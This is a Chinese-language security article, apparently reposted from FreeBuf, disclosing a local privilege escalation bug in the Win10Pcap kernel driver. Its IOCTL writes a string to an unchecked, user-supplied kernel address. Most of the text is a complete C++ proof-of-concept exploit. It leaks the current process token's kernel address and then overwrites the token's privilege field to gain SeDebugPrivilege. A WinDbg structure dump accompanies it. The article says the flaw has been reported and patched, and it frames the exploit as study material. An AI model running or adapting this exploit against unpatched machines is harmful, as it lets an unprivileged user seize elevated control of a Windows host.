前几天我在win10pcap驱动中发现一枚可以进行本地提权的漏洞,当时就已经报告给官方,现在已可以通过更新得到修复。

http://www.win10pcap.org/download/

应众多朋友请求,遂将样本exploit公布出来,供大家学习参考。

简介

Win10Pcap是一款全新的基于WinPcap网络抓包库。与WinPcap不同,Win10Pcap是兼容NDIS 6.x驱动模式,并且能够在Windows 10系统下稳定运行,于此同时Win10Pcap还支持捕获IEEE802.1Q VLAN目标。所以如果你是在Windows 10下安装的wireshark,那么Win10Pcap会成为你不二的选择。

漏洞概述

Win10Pcap内核驱动没有检测来自用户传递的虚拟地址,IOCTL函数既没有进行缓冲处理也没有管理I/O通道,没有写入探针来验证传递地址。

在运行时,你需要找到准确的设备名发送给IOCTL函数,硬编码设备名不会触发漏洞代码。

IOCTL函数在传递地址中写入一个字符串,这个字符串类似于:

"Global\WTCAP_EVENT_3889023063_1"

还有其他一些方式来利用这个漏洞,我决定覆盖_SEP_TOKEN_PRIVILEGES在进程令牌中设置权限。

在地址0×034使用字符串"Global\WTCAP_EVENT"覆盖令牌,不破坏敏感文件设置SeDebugPrivilege权限

81687cf8 cc              int     3
2: kd> dt nt!_TOken
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY

福利Show

main.cpp:

#include <stdio.h>
#include <tchar.h>
#include<Windows.h>
#include<stdio.h>
#include <winternl.h>
#include <intrin.h>
#include <psapi.h>
#include <strsafe.h>
#include <assert.h>
#defineSL_IOCTL_GET_EVENT_NAMECTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STATUS_SUCCESS((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xc0000004L)
/* found with :
!token 
1: kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   +0x004 NextToFree       : Ptr32 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : UChar
   +0x00d TraceFlags       : UChar
   +0x00e InfoMask         : UChar
   +0x00f Flags            : UChar
   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : Ptr32 Void
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD
TypeIndex is 0x5
*/
#define HANDLE_TYPE_TOKEN0x5
// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation
const SYSTEM_INFORMATION_CLASS SystemHandleInformation = 
(SYSTEM_INFORMATION_CLASS)16;
// The NtQuerySystemInformation function and the structures that it returns 
// are internal to the operating system and subject to change from one 
// release of Windows to another. To maintain the compatibility of your 
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// Undocumented structure: SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE 
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION 
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
// Undocumented FILE_INFORMATION_CLASS: FileNameInformation
const FILE_INFORMATION_CLASS FileNameInformation = 
(FILE_INFORMATION_CLASS)9;
// The NtQueryInformationFile function and the structures that it returns 
// are internal to the operating system and subject to change from one 
// release of Windows to another. To maintain the compatibility of your 
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
// FILE_NAME_INFORMATION contains name of queried file object.
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;
void* FindTokenAddressHandles(ULONG pid)
{
/////////////////////////////////////////////////////////////////////////
// Prepare for NtQuerySystemInformation and NtQueryInformationFile.
// 
// The functions have no associated import library. You must use the 
// LoadLibrary and GetProcAddress functions to dynamically link to 
// ntdll.dll.
HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll"));
assert(hNtDll != NULL);
PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = 
(PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll, 
"NtQuerySystemInformation");
assert(NtQuerySystemInformation != NULL);
/////////////////////////////////////////////////////////////////////////
// Get system handle information.
// 
DWORD nSize = 4096, nReturn;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)
HeapAlloc(GetProcessHeap(), 0, nSize);
// NtQuerySystemInformation does not return the correct required buffer 
// size if the buffer passed is too small. Instead you must call the 
// function while increasing the buffer size until the function no longer 
// returns STATUS_INFO_LENGTH_MISMATCH.
while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, 
nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
nSize += 4096;
pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc(
GetProcessHeap(), 0, nSize);
}
for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]);
if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN)
{
printf(" ObjectTypeNumber %d , ProcessId %d , Object  %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object);
return pHandle->Object;
}
}
/////////////////////////////////////////////////////////////////////////
// Clean up.
// 
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return 0;
}
void main()
{
DWORD dwBytesReturned;
DWORD ShellcodeFakeMemory;
HANDLE token;
// first create toke handle so find  object address with handle 
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token))
DebugBreak();
void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId());
CloseHandle(token);
// i dont want write fully weaponized exploit so criminal must write code to find  "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :)  
HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hDriver!=INVALID_HANDLE_VALUE)
  {
   fprintf(stderr," Open Driver OK\n");
  if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))
  {
  fprintf(stderr,"send IOCTL error %d.\n",GetLastError());
  return;
  }
  else  fprintf(stderr," Send IOCTL OK\n");
  }
  else 
  {
  fprintf(stderr," Open Driver error %d.\n",GetLastError());
  return;
  }
  CloseHandle(hDriver);
  getchar();
}

* 参考来源:github,编译/ 鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...